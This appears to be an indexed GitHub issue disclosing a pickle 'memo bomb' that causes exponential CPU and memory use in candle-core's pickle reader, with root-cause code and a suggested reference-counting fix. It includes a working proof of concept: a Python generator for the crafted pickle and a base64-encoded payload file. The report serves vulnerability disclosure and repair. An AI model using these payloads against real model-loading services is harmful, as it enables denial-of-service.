huggingface / huggingface/candle

Pickle memo bomb — CPU + memory exhaustion (algorithmic-complexity DoS) in candle-core pickle reader

Open
#3,620 4 comments 2 reactions 0 assignees View on GitHub
Dominant language
Rust
Stars
21k
Forks
1.8k
Avg merge
16h 42m
Merged PRs (30d)
25

Description

## Summary

candle-core's pickle parser deep-clones the entire `PyObject` tree on every memo fetch (`BinGet`) and
every memo store (`BinPut` / `Put`). A crafted pickle that fetches the same memo entry twice,
combines the two copies, and writes the result back doubles the node count on each cycle. After N
cycles, parsing requires O(2^N) work / memory. This is a pickle memo bomb (the same amplification
principle as the "Billion Laughs" XML attack) and results in CPU and memory exhaustion
(algorithmic-complexity DoS) on a crafted `.pt` / `.pth` or raw pickle. Two paths share the root
cause: (A) CPU exhaustion via `BinGet` + `Tuple2` + `BinPut`; (B) memory exhaustion via `BinGet` +
`Build`(dict) + `BinPut`. A developer source comment at the fetch site already flags this risk
("Maybe we should use refcounting rather than doing potential large clones here").

## Affected component

- Repository: `huggingface/candle` (`candle-core` crate)
- File: `candle-core/src/pickle.rs:390` — `Stack::memo_get()` returns `obj.clone()` (deep clone of
the whole `PyObject` tree on every fetch); the dev TODO comment sits at this site. The companion
store path (`memo_put`, ~line 400) clones the top of stack on every `BinPut`. `PyObject` is a
recursive enum, so each clone copies the full subtree. No `Rc`/`Arc` sharing, no node-count limit.
- Reachable from candle's standard model/checkpoint loading path on any `.pt` / `.pth` or raw pickle.

## Reproduction

PoC (Path A — CPU exhaustion): `findings/candle/poc-078-candle-memo-bomb.pkl` (144 bytes, N=20;
0.175s at N=20, ~5.7s at N=25 on a release binary).

```python
NEWFALSE = b'\x89'; BINPUT = b'q'; BINGET = b'h'; TUPLE2 = b'\x86'; STOP = b'.'
N = 20
poc = NEWFALSE + BINPUT + b'\x00'
for _ in range(N):
poc += BINGET + b'\x00' + BINGET + b'\x00' + TUPLE2 + BINPUT + b'\x00'
poc += STOP
open('poc-078-candle-memo-bomb.pkl', 'wb').write(poc)
```

PoC (Path B — memory exhaustion): `findings/candle/poc-078b-dict-build-oom.pkl` (182 bytes; the same
doubling driven through `BUILD` dict-merge → ~92 GB RSS measured on a 128 GB host before
termination).

Load via any `candle_core::pickle` path (`Stack::empty()` + `read_loop()`, or a `.pt` model load).
Measured CPU doubles per cycle; raising N increases the stall / allocation accordingly.

## Root cause

```rust
// pickle.rs — Stack::memo_get() (line ~390)
pub(crate) fn memo_get(&self, idx: u32) -> Result {
match self.memo.get(&idx) {
None => crate::bail!("missing memo {idx}"),
Some(obj) => Ok(obj.clone()), // deep clone of entire PyObject tree
// "Maybe we should use refcounting rather than doing potential large clones here"
}
}

// Stack::memo_put() (line ~400) — called by BinPut / Put
let obj = self.last()?.clone(); // deep clone of top-of-stack on every BinPut
```

Each `BinGet`+`BinGet`+`Tuple2`+`BinPut` cycle (Path A), or `BinGet`+`BinGet`+`Build`+`BinPut` on
dicts (Path B), doubles the node/entry count in the memo slot. After N cycles, work and peak memory
are O(2^N) from an input that grows only linearly in N.

## Suggested fix

Replace owned clones with reference-counted sharing — exactly what the existing developer comment
points at:

```rust
use std::rc::Rc;

pub struct Stack {
stack: Vec>,
memo: HashMap>,
// ...
}

fn memo_get(&self, idx: u32) -> Result> {
self.memo.get(&idx).cloned().ok_or(/* ... */) // O(1) refcount bump, no tree copy
}
```

Alternatively, track a cumulative node count during parsing and reject inputs exceeding a configurable
threshold.

## Relationship to a sibling finding

This is an independent occurrence of the same bug class found in tracel-ai/burn (CRUCIBLE-2026-077).
The two codebases share no code; both independently implemented a deep-cloning pickle memo store, and
the same PoC bytes trigger both. This issue covers candle only.

## Revalidation

Source-level revalidation on 2026-06-14 against candle HEAD `65ecb58`: `pickle.rs:390` still returns
`obj.clone()` from `memo_get` with the developer TODO comment intact, and no `Rc`/`Arc` sharing or
node-count limit has been added. The clone-cycle amplification is live.

Status: advisory drafted; re-routing to public issue + VulDB; revalidated 2026-06-14 source-level vs
candle HEAD `65ecb58`.

## Proof-of-concept files (base64)

Decode with `base64 -d > file`.

**poc-078-candle-memo-bomb.pkl** (144 bytes):
```
iXEAaABoAIZxAGgAaACGcQBoAGgAhnEAaABoAIZxAGgAaACGcQBoAGgAhnEAaABoAIZxAGgAaACGcQBoAGgAhnEAaABoAIZxAGgAaACGcQBoAGgAhnEAaABoAIZxAGgAaACGcQBoAGgAhnEAaABoAIZxAGgAaACGcQBoAGgAhnEAaABoAIZxAGgAaACGcQAu
```

Contributor guide

No contributing guide indexed for this repository

Research direction

Start in candle-core/src/pickle.rs around Stack::memo_get() and memo_put(), then trace their use from read_loop() and the standard .pt/.pth loading path. Run the supplied findings/candle/poc-078-candle-memo-bomb.pkl and dict-build PoC to reproduce the amplification. Done means the parser no longer permits exponential CPU or memory growth from memo reuse, with the affected paths rechecked.

Written by the indexing model from the issue text.

Assessment

Tech stack
rust
Domain
security
Issue type
Bug
Difficulty
5/5
Estimated time
Over a week
Activity status
Quiet
Clarity
Mostly clear
Newbie friendliness
38/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.